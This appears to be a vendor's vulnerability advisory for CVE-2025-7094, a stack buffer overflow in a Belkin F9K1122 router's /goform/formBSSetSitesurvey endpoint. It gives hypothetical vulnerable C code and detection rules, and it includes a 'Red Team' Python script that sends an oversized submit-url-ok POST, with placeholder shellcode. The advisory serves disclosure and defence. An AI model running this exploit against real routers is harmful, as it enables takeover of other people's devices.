CVE-2025-7094
Executive Summary
CVE-2025-7094 is a critical stack-based buffer overflow vulnerability in the Belkin F9K1122 router (firmware version 1.00.33). The flaw resides in the formBSSetSitesurvey function within the /goform/formBSSetSitesurvey endpoint of the web server component. By manipulating the submit-url-ok argument, an unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution with root privileges. The exploit has been publicly disclosed, and no patch is available from the vendor. This vulnerability poses a severe risk to network integrity and confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is remotely exploitable without authentication, making it a high-priority threat for any network using the affected device.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the Belkin F9K1122 router's web interface. The formBSSetSitesurvey function handles Wi-Fi site survey requests. It copies the submit-url-ok parameter into a fixed-size stack buffer without proper bounds checking. By sending a crafted HTTP POST request with an overly long submit-url-ok value, an attacker can overwrite the return address and other critical stack data.
The web server runs with root privileges, so successful exploitation grants full control over the device. The overflow can be used to execute arbitrary shellcode, install backdoors, or pivot to internal networks.
Root Cause: Lack of input validation and unsafe use of functions like strcpy or sprintf in the firmware's web server code.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only known version. The following is a hypothetical representation of the vulnerable function:
Vulnerable Code (C pseudocode):
void formBSSetSitesurvey(struct request *req) {
char buffer[256];
char *url = get_param(req, "submit-url-ok");
// No bounds check
strcpy(buffer, url);
// ... process buffer
}
Patched Code (Hypothetical):
void formBSSetSitesurvey(struct request *req) {
char buffer[256];
char *url = get_param(req, "submit-url-ok");
if (strlen(url) >= sizeof(buffer)) {
// Return error
return;
}
strcpy(buffer, url);
// ... process buffer
}
The fix would involve adding a length check before copying the input into the stack buffer.
Exploitation & Lab Setup
Red Team (Exploitation)
The public exploit uses a crafted HTTP POST request to trigger the overflow. Below is a Python script demonstrating the exploit:
import socket
target_ip = "192.168.1.1"
port = 80
# Shellcode placeholder (replace with actual shellcode)
shellcode = b"\x90" * 100 # NOP sled + shellcode
# Overflow payload: fill buffer + overwrite return address
payload = b"A" * 256 + b"BBBB" + shellcode
http_request = (
f"POST /goform/formBSSetSitesurvey HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(payload)}\r\n"
f"\r\n"
f"submit-url-ok={payload.decode('latin-1')}"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(http_request.encode())
sock.close()
Usage: Replace target_ip with the router's IP. The shellcode must be tailored to the target architecture (MIPS or ARM). The exploit triggers a buffer overflow, allowing remote code execution.
Blue Team (Detection & Defense)
- Network Monitoring: Look for HTTP POST requests to
/goform/formBSSetSitesurveywith abnormally longsubmit-url-okparameters. - Host Monitoring: Monitor for unexpected processes or connections from the router.
- Mitigation: Isolate the router on a separate VLAN, disable remote management, and apply firewall rules to block external access to the web interface.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/goform/formBSSetSitesurveywith payloads exceeding 256 bytes. - Outbound connections from the router to unknown IPs on non-standard ports.
- HTTP POST requests to
- File IOCs:
- Modified firmware binaries or unexpected files in
/tmpor/var.
- Modified firmware binaries or unexpected files in
- Behavioral IOCs:
- Router rebooting unexpectedly or performing unusual DNS queries.
Detection Engineering
YARA Rule
rule CVE_2025_7094_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-7094 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
strings:
$http_method = "POST"
$uri = "/goform/formBSSetSitesurvey"
$param = "submit-url-ok="
$overflow = /submit-url-ok=[A-Za-z0-9%]{256,}/
condition:
$http_method and $uri and $param and $overflow
}
Sigma Rule
title: CVE-2025-7094 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with long submit-url-ok parameter
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/goform/formBSSetSitesurvey'
cs-uri-query|contains: 'submit-url-ok='
sc-bytes|gte: 256
condition: selection
falsepositives:
- Legitimate long URLs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-7094 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formBSSetSitesurvey"; http_uri; content:"submit-url-ok="; http_client_body; pcre:"/submit-url-ok=.{256,}/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Actions:
- Disable remote management and UPnP on the router.
- Restrict access to the web interface to trusted IPs only.
- Monitor for exploit attempts using the provided detection rules.
- Long-term Actions:
- Replace the affected Belkin F9K1122 with a supported device.
- Contact Belkin for a firmware update (though vendor is unresponsive).
- Implement network segmentation to isolate IoT devices.
Valters IT
Securing Your Digital Frontier